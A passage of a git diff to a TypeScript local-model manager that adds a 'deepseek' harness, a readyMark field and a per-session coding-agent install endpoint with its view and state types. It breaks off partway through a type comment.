diff --git a/src/config/local-model-catalog.ts b/src/config/local-model-catalog.ts index a6ed1668..49fcf1db 100644 --- a/src/config/local-model-catalog.ts +++ b/src/config/local-model-catalog.ts @@ -13,10 +13,11 @@ * computed from that model's architecture. test/local-model-catalog.test.ts recomputes every * computed figure from a table of architectures and refuses a row that is not in it, so a * new row needs its model's config.json read, not a figure borrowed from a neighbour. - * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI - * registry id as data: no code may compare it with a literal. Whether that CLI exists and can - * take a custom model is checked against the registry at call time, in - * src/local-model/harness-facts.ts, never here. + * - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn?, readyMark? }`). The + * `cli` is a CLI registry id as data: no code may compare it with a literal. Whether that CLI + * exists, can take a custom model and can be installed from here is checked against the + * registry at call time, in src/local-model/harness-facts.ts, never here. HARNESSES below + * says what was measured for each row, and where. * - The schema checks more than fields. Across rows it requires: unique model ids and ranks, * unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness * row, and `chips` most specific first. @@ -56,14 +57,45 @@ * | | | faster than the run without it | * | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed | * | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review | - * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why | - * | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated | - * | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | | + * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. Nothing was run below it, | + * | | higher"), and OpenCode v1.19.5's own fixed prompt (about | and no model row offers less, so | + * | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | every row says 65536 (HARNESSES) | * | | leaves 14,000 to 16,000 tokens, less than one default | | * | | 2,000-line file read | | * | `chips` | the bandwidth column of | yes, read at the source for this | * | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file | * + * HARNESSES. What each harness row rests on. The runs of 2026-11-10 were made on Linux through + * Codeman's own custom model launch, against a real model (Ollama 0.13.0, a 1.7B model on a CPU) + * where it says REAL, and against a scripted endpoint that replays that runtime's stream of a + * tool call where it says SCRIPTED. A scripted run proves the harness's side of the protocol, + * never what a model does with its prompt. None of them ran on a Mac or on the pinned runtime. + * + * | Harness | First request (fixed prompt) | Tool round trip | `readyMark` | + * |------------|-----------------------------------|----------------------------------------|--------------------------------------| + * | `opencode` | 8,115 tokens, 11 tools (v1.19.5; | SCRIPTED (v1.19.5). REAL in our own | `┃`: the first painted frame holds | + * | | more with user-level skills) | run on a Mac, see the `tested` entry | the composer; a prompt sent at the | + * | | | | mark was submitted, 2 of 2 launches | + * | `claude` | about 36,000 tokens, which is | not run again for this table (the row | none here: the CLI registry's | + * | | `slowFirstTurn` | shipped in 1.50.0) | `composerReadyMark` stands | + * | `pi` | 2,096 tokens, 4 tools (v1.5.2, | REAL (v1.5.2): tool call, tool result, | none: its composer rules are painted | + * | | the runtime's own count) | final answer, the file on disk | before it takes Enter (2 of 2 | + * | | | | prompts sent at the rule stayed | + * | | | | unsent), and it draws nothing that | + * | | | | is a contract once it does | + * | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only (0.1.1-rc.2 with dsh-TUI | none here: the CLI registry's `❯` | + * | | (0.1.1-rc.2) | 0.10.0-beta.1, not today's versions). | stands; a prompt sent at it was | + * | | | REAL: the launch and the model name | submitted, 2 of 2 launches | + * | | | reached the runtime, no turn finished | | + * + * Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for + * two open questions, both answered by its run: the id (above), and the window, which Codeman + * now passes to it (src/custom-model-injection.ts; without it pi takes an unknown model for a + * 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to + * launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered + * it only where it was already set up. It is offered on a scripted run and one unfinished real + * one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. + * * MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes` * (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three * figures are filled by the rule of its runner: @@ -222,6 +254,8 @@ const LocalHarnessEntrySchema = z rank: z.number().int(), gated: z.boolean().optional(), slowFirstTurn: z.boolean().optional(), + // One literal a script waits for: no white space, so the terminal's own spacing cannot split it. + readyMark: z.string().min(1).max(64).regex(/^\S+$/).optional(), }) .strict(); @@ -528,13 +562,16 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = { tested: [], }, ], - // The higher rank wins when a model can run with more than one harness. + // The higher rank wins when a model can run with more than one harness. What each row rests + // on is the HARNESSES table of the file header. harnesses: [ - { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' }, // Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes. - { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true }, - // Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified. - { cli: 'pi', minContext: 32768, rank: 1, gated: true }, + { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true }, + // The smallest first request of the four (2,096 tokens). No `readyMark`: see HARNESSES. + { cli: 'pi', minContext: 65536, rank: 2 }, + // A launcher: offered only where it is already set up, never installed from here. + { cli: 'deepseek', minContext: 65536, rank: 1 }, ], // Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source // table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546, diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts index 143826f1..65f1350c 100644 --- a/src/local-model/harness-facts.ts +++ b/src/local-model/harness-facts.ts @@ -9,14 +9,18 @@ * mechanism (`capabilities.customModelInjection.kind` is `unsupported`); * - reports `label` from the registry entry and `installed` from the same probe the page * render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build; - * - reports `installable` only for a STOCK CLI that is not installed and whose install - * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`), - * and then carries that command as `installCommand`, so the consent screen can print the + * - reports `installable` only for a STOCK CLI that is not installed, whose install command + * for this platform needs no administrator rights (`installCommandNeedsAdmin()`) and which + * is not a launcher (`discovery.launcherProfile`: its install command leaves it with nothing + * to launch, and what it launches is third-party code with a consent of its own in the Run + * menu), and then carries that command as `installCommand`, so the consent screen can print the * literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the * one a `clis.json` override supplies: it is exactly what the install job would run, and * an override file must not be able to change that; * - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch - * applies to the model id before anything is written. + * applies to the model id before anything is written; + * - passes on the registry's `capabilities.composerReadyMark` as `readyMark` when it holds no + * white space (a script waits for it as one literal). * * Rules: * - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue @@ -156,19 +160,23 @@ export async function buildHarnessFacts( } let installCommand: string | undefined; - if (!installed && entry.stock) { + // A launcher (`discovery.launcherProfile`) is not startable after its install command: it + // still needs something to launch, which that command does not install. + if (!installed && entry.stock && entry.discovery.launcherProfile === undefined) { const command = resolved.installCommandFor(entry); if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) { installCommand = command; } } + const registryMark = entry.capabilities.composerReadyMark; facts.push({ cli: row.cli, label: entry.label, installed, installable: installCommand !== undefined, ...(installCommand !== undefined ? { installCommand } : {}), + ...(registryMark !== undefined && !/\s/.test(registryMark) ? { readyMark: registryMark } : {}), acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId), }); } diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index f8835bf1..b6a236ef 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -33,7 +33,7 @@ * | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop | * | | in use and every other model of the | runtime is started again | | the runtime, install (add a | * | | library | when it was not stopped | | model), use, delete a model, | - * | | | | | remove | + * | | | | | install a coding agent, remove | * * The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the * job stopped in; they first make sure the runtime runs when the step needs it. @@ -96,6 +96,16 @@ * server's own total. * - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a * `HarnessFact`. + * - The coding agent is chosen PER SESSION. The state file's `cli` is the agent of the job + * and, once installed, the default one; the view's `harnesses` lists every catalogue harness + * the model in use can be run with (`buildHarnessRows()`). The launch check + * (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent. + * - Installing one more coding agent beside an installed model (`installAgent()`, + * `POST /api/local-model/agent`) is NOT a job and not an event of the reducer: the state + * stays `installed` whatever the installer does, so a failed `npm install` never blocks a + * session on a model that works. It runs in the background through the same install slot + * and the same stock command as the `agent` step, one at a time, and what it leaves behind + * is in memory only (`LocalModelHarnessRow.status` `installing`, or its `error`). * * The service (`createLocalModelService()`), beyond the reducer: * - Verbs run one at a time on one queue, so two installs sent together cannot both find the @@ -161,6 +171,7 @@ import { type HardwareFacts, type HarnessFact, type LocalModelAction, + type LocalModelAgentRequest, type LocalModelCatalog, type LocalModelConflict, type LocalModelDeleteRequest, @@ -172,6 +183,8 @@ import { type LocalModelInstallState, type LocalModelInstallStep, type LocalModelInstallView, + type LocalModelHarnessRow, + type LocalModelHarnessStatus, type LocalModelLibraryAction, type LocalModelLibraryEntry, type LocalModelLibraryRow, @@ -261,8 +274,9 @@ export interface InstallStateRow { * Every action a client may take in this state. The view's `actions` is this list narrowed * by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and * `start-session` only while it runs, `start-session` only when nothing blocks a session, - * `use` and `delete-model` only while a row of the library offers them, and in `idle` - * `remove` only while the model store still holds something. + * `use` and `delete-model` only while a row of the library offers them, `install-agent` only + * while a row of `harnesses` offers it, and in `idle` `remove` only while the model store + * still holds something. */ actions: readonly LocalModelAction[]; } @@ -312,7 +326,7 @@ export const INSTALL_STATE_TABLE: Readonly>; + /** + * The coding agents of the model in use (`buildHarnessRows()`), without their + * `start-session` action: the view adds it once it knows whether a session can be started. + * Absent while nothing is installed, and when the catalogue or the CLI registry could not be + * read: the view then lists none. + */ + harnesses?: readonly LocalModelHarnessRow[]; } /** An error code with its sentence, its slots and its one next step. Pure. */ @@ -819,6 +840,91 @@ export function buildLibraryRows(state: LocalModelStateFile, live: InstallLiveFa return rows; } +/** What the service remembers of installs of a coding agent beside an installed model. In memory only. */ +export interface AgentInstallMemory { + /** The CLI id of the agent whose installer runs right now. */ + running?: string; + /** The agents whose last install failed, by CLI id, with the end of what the installer printed. */ + failed?: Readonly>; +} + +/** + * The coding agents the model in use can be run with: every catalogue harness that is not + * gated, has a fact, works at the model's context and accepts its name. The default agent + * first, then the higher catalogue rank. The default is the agent of the installation + * (`state.cli`) while it can be started, else the first one that can, so a client that names + * no agent never starts one that is gone. Rows carry no `start-session` action yet: whether a + * session can be started at all is the view's knowledge (`buildInstallView()`). Empty unless + * the state is `installed`. Pure, and it compares no CLI id with a literal. + */ +export function buildHarnessRows( + state: LocalModelStateFile, + catalog: Pick, + facts: readonly HarnessFact[], + memory: AgentInstallMemory = {} +): LocalModelHarnessRow[] { + if (state.state !== 'installed' || !state.model) return []; + const model = state.model; + const ranked: Array<{ rank: number; row: LocalModelHarnessRow }> = []; + for (const entry of catalog.harnesses) { + if (entry.gated) continue; + const fact = facts.find((candidate) => candidate.cli === entry.cli); + if (!fact || model.context < entry.minContext) continue; + let accepts = false; + try { + accepts = fact.acceptsModelId(model.id); + } catch { + accepts = false; + } + if (!accepts) continue; + + const installing = !fact.installed && memory.running === entry.cli; + const status: LocalModelHarnessStatus = fact.installed + ? 'ready' + : installing + ? 'installing' + : fact.installable + ? 'installable' + : 'setup-needed'; + const failure = status === 'installable' ? memory.failed?.[entry.cli] : undefined; + const readyMark = entry.readyMark ?? fact.readyMark; + ranked.push({ + rank: entry.rank, + row: { + cli: entry.cli, + cliLabel: fact.label, + default: false, + status, + ...((status === 'installable' || status === 'installing') && fact.installCommand !== undefined + ? { installCommand: fact.installCommand } + : {}), + ...(entry.slowFirstTurn ? { slowFirstTurn: true } : {}), + ...(readyMark !== undefined ? { readyMark } : {}), + ...(failure + ? { + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: fact.label } }, + ...(failure.detail ? { detail: failure.detail } : {}), + }, + } + : {}), + // One installer at a time: while one runs, no other agent is offered for install. + actions: status === 'installable' && memory.running === undefined ? ['install'] : [], + }, + }); + } + ranked.sort((a, b) => b.rank - a.rank); + const rows = ranked.map((entry) => entry.row); + const chosen = state.cli?.id; + const fallback = + rows.find((row) => row.cli === chosen && row.status === 'ready') ?? + rows.find((row) => row.status === 'ready') ?? + rows.find((row) => row.cli === chosen); + if (!fallback) return rows; + fallback.default = true; + return [fallback, ...rows.filter((row) => row !== fallback)]; +} + /** * The actions the server accepts right now: the state row's list narrowed by what is live. * `rows` is `buildLibraryRows()` of the same two arguments, for a caller that has it. Pure. @@ -833,12 +939,18 @@ export function allowedActions( return actions.filter((action) => { if (action === 'use') return rows.some((row) => row.actions.includes('use')); if (action === 'delete-model') return rows.some((row) => row.actions.includes('delete')); + if (action === 'install-agent') return (live.harnesses ?? []).some((row) => row.actions.includes('install')); // From idle a Remove only clears what an earlier one kept: offered while there is something. if (state.state === 'idle') return action !== 'remove' || (live.storeBytes ?? 0) > 0; if (state.state !== 'installed') return true; if (action === 'start') return !live.running; if (action === 'stop') return live.running; - if (action === 'start-session') return live.running && !blocked; + if (action === 'start-session') { + // With the agents known, a session needs one that can be started. Unknown (the registry + // could not be read) is not "none": the launch itself says what is missing then. + const anAgent = live.harnesses === undefined || live.harnesses.some((row) => row.status === 'ready'); + return live.running && !blocked && anAgent; + } return true; }); } @@ -881,6 +993,7 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa folder: live.folder, library, ...(live.storeBytes !== undefined ? { store: { bytes: live.storeBytes, gb: formatGb(live.storeBytes) } } : {}), + harnesses: [], actions: allowedActions(state, live, library), }; if (state.state === 'idle') return view; @@ -907,6 +1020,18 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa if (state.connection) view.endpointId = state.connection.endpointId; const blocker = installedBlocker(state, live); if (blocker) view.error = blocker; + // An agent that can be started offers a session exactly when the model does. + const canStart = view.actions.includes('start-session'); + view.harnesses = (live.harnesses ?? []).map((row) => + row.status === 'ready' && canStart ? { ...row, actions: ['start-session', ...row.actions] } : { ...row } + ); + // The default agent is the one a client that names none starts: never one that is gone + // while another can be started. + const preferred = view.harnesses.find((row) => row.default); + if (preferred) { + view.cli = preferred.cli; + view.cliLabel = preferred.cliLabel; + } return view; } @@ -1053,8 +1178,12 @@ export interface LocalModelServiceDeps { /** The install as the routes and the server see it. One per process. */ export interface LocalModelService { - /** The `install` object of the GET. Never throws. */ - view(): Promise; + /** + * The `install` object of the GET. Never throws. `harnessFacts`: the facts a caller already + * built for the same answer (the GET builds them for the recommendation), so they are not + * built twice; without them the service builds its own. + */ + view(options?: { harnessFacts?: readonly HarnessFact[] }): Promise; /** * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the @@ -1105,6 +1234,14 @@ export interface LocalModelService { * runtime is down. */ deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise; + /** + * `POST /api/local-model/agent`: install one more coding agent beside an installed model. + * Answers once the installer is STARTED; it runs on in the server, and the view's + * `harnesses` says how it stands. Not a job: the state stays `installed` and sessions go on. + * The agent must be a row of `harnesses` that offers `install`; one that can already be + * started answers with the view as it is. One installer at a time (409 `job-running`). + */ + installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise; /** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */ cancel(): Promise; /** @@ -1148,7 +1285,7 @@ export interface LocalModelService { shutdown(): Promise; /** What the runtime supervisor reports through `onChange`: the pid of a child the moment it is spawned, a new pid after a restart, the budget line. Stored, never thrown. */ onRuntimeChange(status: RuntimeStatus): void; - /** Resolves once no job is in flight. For `shutdown()` and for tests. */ + /** Resolves once no job is in flight and no coding agent is being installed. For `shutdown()` and for tests. */ idle(): Promise; } @@ -1260,6 +1397,13 @@ class LocalModelServiceImpl implements LocalModelService { /** What the model store last took on disk, and when. */ private storeCache: { at: number; bytes: number } | undefined; private storeRefresh: Promise | undefined; + /** + * The install of one more coding agent beside an installed model, while its installer runs. + * Not a job: the state file never hears of it, and the state stays `installed`. + */ + private agentInstall: { cli: string; controller: AbortController; promise: Promise } | undefined; + /** The agents whose last such install failed, with the end of what the installer printed. Forgotten at a restart. */ + private readonly agentFailures = new Map(); constructor(deps: Partial) { const pin = deps.pin ?? OLLAMA_RUNTIME_PIN; @@ -1730,8 +1874,30 @@ class LocalModelServiceImpl implements LocalModelService { // ---------- The view ---------- - private async liveFacts(state: LocalModelStateFile): Promise { + /** What `buildHarnessRows()` is told about agent installs: the one that runs, and the ones that failed. */ + private agentMemory(): AgentInstallMemory { + return { + ...(this.agentInstall ? { running: this.agentInstall.cli } : {}), + ...(this.agentFailures.size > 0 ? { failed: Object.fromEntries(this.agentFailures) } : {}), + }; + } + + private async liveFacts( + state: LocalModelStateFile, + harnessFacts?: readonly HarnessFact[] + ): Promise { const status = this.deps.supervisor.status(); + let harnesses: LocalModelHarnessRow[] | undefined; + if (state.state === 'installed') { + try { + const catalog = this.deps.getCatalog(); + const facts = harnessFacts ?? (await this.deps.buildHarnessFacts(catalog)); + harnesses = buildHarnessRows(state, catalog, facts, this.agentMemory()); + } catch (err) { + // Unknown, not "none": the view then lists no agent and still offers a session. + console.warn(`[local-model] The coding agents could not be listed: ${getErrorMessage(err)}`); + } + } let developerTools: LocalModelDeveloperTools = 'unknown'; try { developerTools = await this.deps.checkDeveloperTools(); @@ -1767,10 +1933,11 @@ class LocalModelServiceImpl implements LocalModelService { ...(tags ? { tags } : {}), ...(this.storeCache ? { storeBytes: this.storeCache.bytes } : {}), ...(labels ? { labels } : {}), + ...(harnesses ? { harnesses } : {}), }; } - async view(): Promise { + async view(options: { harnessFacts?: readonly HarnessFact[] } = {}): Promise { try { await this.recovered(); let state = await this.currentState(); @@ -1793,7 +1960,7 @@ class LocalModelServiceImpl implements LocalModelService { void this.refreshDigest(state).catch(() => {}); } await this.freshenListings(state); - return buildInstallView(state, await this.liveFacts(state)); + return buildInstallView(state, await this.liveFacts(state, options.harnessFacts)); } catch (err) { console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`); return buildInstallView(IDLE_LOCAL_MODEL_STATE, { @@ -1988,9 +2155,11 @@ class LocalModelServiceImpl implements LocalModelService { const open = this.sessionsOpen(state, liveSessionNames); if (open) return open; - // The coding agent of the switch: the one this model was checked with, else the one of - // the state, whichever is on this Mac now. A job that stopped while it installed another - // agent leaves the state naming one that may not be there. + // The coding agent of the switch, which becomes the default one: the one this model was + // checked with, else the one of the state, whichever is on this Mac now. A job that + // stopped while it installed another agent leaves the state naming one that may not be + // there. With neither, any agent the model can be run with that is on this Mac: the + // agent is chosen per session, so a switch is not refused for one that was uninstalled. const agents = [entry.cli, state.cli].filter( (cli, index, all): cli is { id: string; label: string } => cli !== undefined && all.findIndex((other) => other?.id === cli.id) === index @@ -2002,6 +2171,22 @@ class LocalModelServiceImpl implements LocalModelService { break; } } + if (!cli) { + try { + const catalog = this.deps.getCatalog(); + const afterSwitch: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { id: entry.id, label: entry.label, context: entry.context }, + }; + const ready = buildHarnessRows(afterSwitch, catalog, await this.deps.buildHarnessFacts(catalog)).find( + (row) => row.status === 'ready' + ); + if (ready) cli = { id: ready.cli, label: ready.cliLabel }; + } catch { + /* no other agent is known then, and the switch is refused below */ + } + } if (!cli) { return { ok: false, @@ -2031,6 +2216,54 @@ class LocalModelServiceImpl implements LocalModelService { }); } + installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise { + return this.exclusive(async () => { + await this.settle(); + const state = await this.currentState(); + if (state.state === 'installing') return conflict('job-running'); + if (!INSTALL_STATE_TABLE[state.state].actions.includes('install-agent')) return conflict('wrong-state'); + // One installer at a time, whichever agent it is for. + if (this.agentInstall) return conflict('job-running'); + + // Checked against what the server itself lists right now, before anything runs. + const catalog = this.deps.getCatalog(); + const facts = await this.deps.buildHarnessFacts(catalog); + const row = buildHarnessRows(state, catalog, facts).find((candidate) => candidate.cli === request.cli); + if (!row) { + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered } }; + } + // Already there (a second click, or it was installed by hand meanwhile): nothing to do. + if (row.status === 'ready') return this.answer(); + if (row.status !== 'installable') { + return { + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: row.cliLabel } }, + }; + } + + this.agentFailures.delete(row.cli); + const controller = new AbortController(); + const cli = row.cli; + const run = { + cli, + controller, + promise: this.installCodingAgent(cli, actor, controller.signal) + .then((outcome) => { + if (outcome.kind === 'fail') this.agentFailures.set(cli, { detail: outcome.detail }); + }) + .catch((err: unknown) => { + this.agentFailures.set(cli, { detail: getErrorMessage(err) }); + }) + .finally(() => { + if (this.agentInstall === run) this.agentInstall = undefined; + }), + }; + this.agentInstall = run; + return this.answer(); + }); + } + deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise { return this.exclusive(async () => { await this.settle(); @@ -2372,6 +2605,8 @@ class LocalModelServiceImpl implements LocalModelService { const job = this.job; // The state file keeps saying `installing`: the next start reads that as a paused job. job?.controller.abort(); + // An agent installer beside an installed model: its process group is ended, nothing is recorded. + this.agentInstall?.controller.abort(); // The runtime is signalled at once, not after the job let go: the server may exit soon. const stopped = Promise.resolve() .then(() => this.deps.supervisor.stop()) @@ -2385,7 +2620,9 @@ class LocalModelServiceImpl implements LocalModelService { } async idle(): Promise { - while (this.job) await this.job.promise.catch(() => {}); + while (this.job || this.agentInstall) { + await (this.job ?? this.agentInstall)?.promise.catch(() => {}); + } } // ---------- The job ---------- @@ -2741,24 +2978,38 @@ class LocalModelServiceImpl implements LocalModelService { signal: AbortSignal ): Promise { if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' }; - const cli = state.cli.id; - const vars = this.errorVars('harness-failed', state); + const outcome = await this.installCodingAgent(state.cli.id, actor, signal); + if (outcome.kind !== 'fail') return outcome; + return { + kind: 'fail', + code: 'harness-failed', + vars: this.errorVars('harness-failed', state), + detail: outcome.detail, + }; + } + + /** + * Installs one coding agent with its STOCK command, through the install slot it shares with + * the CLI management routes. What the `agent` step of a job and `installAgent()` both run. + * `done` also when the agent is already there; `fail` carries what to show as the detail. + */ + private async installCodingAgent( + cli: string, + actor: LocalModelActor, + signal: AbortSignal + ): Promise<{ kind: 'done' } | { kind: 'cancelled' } | { kind: 'fail'; detail: string }> { // A resumed job, or an installer that finished before a restart: the binary may be there. - if (await this.deps.recheckCliInstalled(cli)) return DONE; - if (signal.aborted) return CANCELLED; + if (await this.deps.recheckCliInstalled(cli)) return { kind: 'done' }; + if (signal.aborted) return { kind: 'cancelled' }; // Only a coding agent of the catalogue, and only its STOCK install command. if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' }; + return { kind: 'fail', detail: 'Not a coding agent of the local model catalogue.' }; } const command = this.deps.stockInstallCommand(cli); - if (!command) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' }; - } + if (!command) return { kind: 'fail', detail: 'No install command for this platform.' }; const release = this.deps.tryBeginCliInstall(cli); - if (!release) { - return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' }; - } + if (!release) return { kind: 'fail', detail: 'Another install of this coding agent is running.' }; let result: CliInstallResult; try { result = await this.deps.runInstallCommand(command, { signal }); @@ -2783,13 +3034,13 @@ class LocalModelServiceImpl implements LocalModelService { // Even a failed or interrupted install may have left a binary behind: the cached lookups // are forgotten either way, and what counts is whether the binary is found now. const installed = await this.deps.recheckCliInstalled(cli); - if (result.aborted || signal.aborted) return CANCELLED; - if (installed) return DONE; + if (result.aborted || signal.aborted) return { kind: 'cancelled' }; + if (installed) return { kind: 'done' }; const detail = result.timedOut ? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.` : result.output.slice(-INSTALLER_DETAIL_CHARS).trim() || (result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.'); - return { kind: 'fail', code: 'harness-failed', vars, detail }; + return { kind: 'fail', detail }; } private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise { diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index 6ac649a5..39dc7d83 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -211,6 +211,8 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' * - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it. * - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library` * offers it. + * - `install-agent`: `POST /api/local-model/agent`. Listed only while a row of `harnesses` + * offers it. */ export type LocalModelAction = | 'install' @@ -221,7 +223,8 @@ export type LocalModelAction = | 'remove' | 'start-session' | 'use' - | 'delete-model'; + | 'delete-model' + | 'install-agent'; /** Whether the Mac has the developer tools (git, Python) a coding agent calls. */ export type LocalModelDeveloperTools = @@ -301,7 +304,7 @@ export const LOCAL_MODEL_INSTALL_LABELS = { refusedNotInLibrary: 'This model is not one of the checked models on this Mac.', refusedNotOnThisMac: 'This model is not on this Mac.', deleteFailed: '{model} could not be deleted from this Mac.', - refusedAgentMissing: '{cli} is not installed on this Mac. Install this model again to choose a coding agent.', + refusedAgentMissing: '{cli} is not installed on this Mac. Install a coding agent in the local model window first.', endpointManaged: 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.', endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.', @@ -461,8 +464,9 @@ export interface LocalModelLoadedFacts { * | `port` | | once chosen | once chosen | once chosen | yes | * | `loaded`, `endpointId` | | | | | yes | * - * `running`, `developerTools`, `runtime`, `folder`, `library` and `actions` are always - * present. `store` is present once the model store was measured. + * `running`, `developerTools`, `runtime`, `folder`, `library`, `harnesses` and `actions` are + * always present. `store` is present once the model store was measured. `harnesses` is empty + * in every state but `installed`. */ export interface LocalModelInstallView { state: LocalModelInstallState; @@ -473,7 +477,11 @@ export interface LocalModelInstallView { progress?: LocalModelProgress; error?: LocalModelInstallError; model?: LocalModelInstalledModel; - /** The coding agent: a CLI registry id, as data. */ + /** + * The coding agent of the job, and on an installed model the DEFAULT one: the agent it was + * installed with, which a client that names no agent starts. A CLI registry id, as data. + * `harnesses` lists every agent a session can be started with. + */ cli?: string; /** The coding agent's display label ('OpenCode'). */ cliLabel?: string; @@ -498,10 +506,74 @@ export interface LocalModelInstallView { library: LocalModelLibraryRow[]; /** What the model store takes on disk right now. Present in every state once it was measured. */ store?: LocalModelStoreView; + /** + * The coding agents a session on the model in use can be started with: every catalogue + * harness that works at the model's context and accepts its name, the default one (`cli`) + * first, then by catalogue rank. The agent is chosen per session, so a row is not a setting. + * Empty in every state but `installed`. + */ + harnesses: LocalModelHarnessRow[]; /** What the server accepts right now, see `LocalModelAction`. */ actions: LocalModelAction[]; } +/** + * How a coding agent of `harnesses` stands on this Mac. + * - `ready`: it can be started (the same answer the Run menu gets). + * - `installable`: it is not on this Mac, and `POST /api/local-model/agent` installs it with + * `installCommand`. + * - `installing`: that install is running. It runs beside the model: nothing about the model + * in use changes, and a session with another agent can be started meanwhile. + * - `setup-needed`: it is not startable and one command does not make it so (a launcher + * without a profile, or a command that needs an administrator). Its own setup is in the Run + * menu or in a terminal; nothing is offered here. + */ +export type LocalModelHarnessStatus = 'ready' | 'installable' | 'installing' | 'setup-needed'; + +/** What can be done with one row of `harnesses`: start a session with it, or `POST /api/local-model/agent`. */ +export type LocalModelHarnessAction = 'start-session' | 'install'; + +/** One coding agent the model in use can be run with. Everything a client needs is here, so it compares no CLI id. */ +export interface LocalModelHarnessRow { + /** The CLI registry id, as data: the `mode` of a session started with it, and the `cli` of `POST /api/local-model/agent`. */ + cli: string; + /** The registry's display label ('OpenCode'). */ + cliLabel: string; + /** True on the row `LocalModelInstallView.cli` names. */ + default: boolean; + status: LocalModelHarnessStatus; + /** + * The literal command `POST /api/local-model/agent` would run: the STOCK command of the CLI + * registry for this platform. Present exactly when `status` is `installable` or `installing`. + * The consent prints it as it is. + */ + installCommand?: string; + /** The harness row's `slowFirstTurn`: the first answer takes minutes. */ + slowFirstTurn?: boolean; + /** + * A literal with no white space the agent's composer draws once it takes input + * (`LocalHarnessEntry.readyMark`, else the CLI registry's `composerReadyMark`): what a script + * waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt. Absent + * for an agent with no measured mark. + */ + readyMark?: string; + /** + * The last install of this agent through `POST /api/local-model/agent` failed, and it is + * still not on this Mac. Kept in memory only: a restart of the server forgets it. + */ + error?: LocalModelAgentError; + /** What the server accepts for this row right now. */ + actions: LocalModelHarnessAction[]; +} + +/** Why an install of a coding agent from an installed model failed. */ +export interface LocalModelAgentError { + /** `errHarnessFailed` with the agent's label. */ + message: LocalModelInstallMessage; + /** The end of what the installer printed, as it is (English or the tool's own language). */ + detail?: string; +} + /** * How a model of the library stands. * - `ready`: checked by Codeman, and the runtime (when it was asked) still lists it with the @@ -612,6 +684,15 @@ export interface LocalModelDeleteRequest { modelId: string; } +/** + * Body of `POST 